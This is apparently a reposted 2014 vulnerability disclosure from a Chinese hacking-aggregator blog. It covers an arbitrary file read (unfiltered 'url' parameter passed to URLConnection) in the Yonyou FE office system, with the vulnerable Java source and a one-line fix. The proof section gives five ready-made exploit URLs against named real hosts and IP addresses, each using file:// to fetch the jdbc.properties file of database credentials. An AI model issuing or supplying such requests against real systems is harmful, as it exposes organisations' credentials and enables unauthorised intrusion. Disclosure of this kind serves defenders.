记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

用友FE协作办公系统FILE协议文件读取漏洞(通杀全版本)

2014-11-13 05:15

code 区域
web.xml有如下配置:

<servlet>

<servlet-name>ProxyServletUtil</servlet-name>

<servlet-class>fe.witmanage.service.ProxyServletUtil</servlet-class>

</servlet>

<servlet-mapping>

<servlet-name>ProxyServletUtil</servlet-name>

<url-pattern>/ProxyServletUtil</url-pattern>

</servlet-mapping>

0.PNG



ProxyServletUtil.java源码如下:

/* */ public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException

/* */ {

/* 23 */ String urlString = request.getParameter("url");

/* 24 */ writeResponse(response, urlString);

/* */ }

/* */

/* */ private void writeResponse(HttpServletResponse response, String urlString) throws ServletException {

/* */ try {

/* 29 */ URL url = new URL(urlString);

/* 30 */ URLConnection urlConnection = url.openConnection();

/* 31 */ response.setContentType(urlConnection.getContentType());

/* 32 */ InputStream ins = urlConnection.getInputStream();

/* 33 */ OutputStream outs = response.getOutputStream();

/* 34 */ byte[] buffer = new byte[this.READ_BUFFER_SIZE];

/* 35 */ int bytesRead = 0;

/* 36 */ while ((bytesRead = ins.read(buffer, 0, this.READ_BUFFER_SIZE)) != -1) {

/* 37 */ outs.write(buffer, 0, bytesRead);

/* */ }

/* 39 */ System.out.println(outs);

/* 40 */ outs.flush();

/* 41 */ outs.close();

/* 42 */ ins.close();

/* */ } catch (Exception e) {

/* */ try {

/* 45 */ response.sendError(500, e.getMessage());

/* */ } catch (IOException ioe) {

/* 47 */ throw new ServletException(ioe);

/* */ }

/* */ }

/* */ }

/* */ }

1.png



url参数可控并且无任何过滤,导致任意文件,由于代码逻辑,进行文件读取时需要使用file://协议来利用

漏洞证明:

code 区域
(1)http://oa.hzuf.com:9090/ProxyServletUtil?url=file:///d:/FE/jboss/server/default/deploy/fe.war/WEB-INF/classes/jdbc.properties 

1.png



(2)http://fsd2014.f3322.org:9090/ProxyServletUtil?url=file:///d:/FE/jboss/server/default/deploy/fe.war/WEB-INF/classes/jdbc.properties

2.png



(3)http://183.129.249.246:9090/ProxyServletUtil?url=file:///d:/FE/jboss/server/default/deploy/fe.war/WEB-INF/classes/jdbc.properties

3.png



(4)http://218.205.208.22:9090/ProxyServletUtil?url=file:///d:/FE/jboss/server/default/deploy/fe.war/WEB-INF/classes/jdbc.properties

4.png



(5)http://120.196.116.3:7321/ProxyServletUtil?url=file:///d:/FE/jboss/server/default/deploy/fe.war/WEB-INF/classes/jdbc.properties

5.png

修复方案:

file://协议过滤

知识来源: www.wooyun.org/bugs/wooyun-2014-082455

阅读:134065 | 评论:0 | 标签:漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“用友FE协作办公系统FILE协议文件读取漏洞(通杀全版本)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云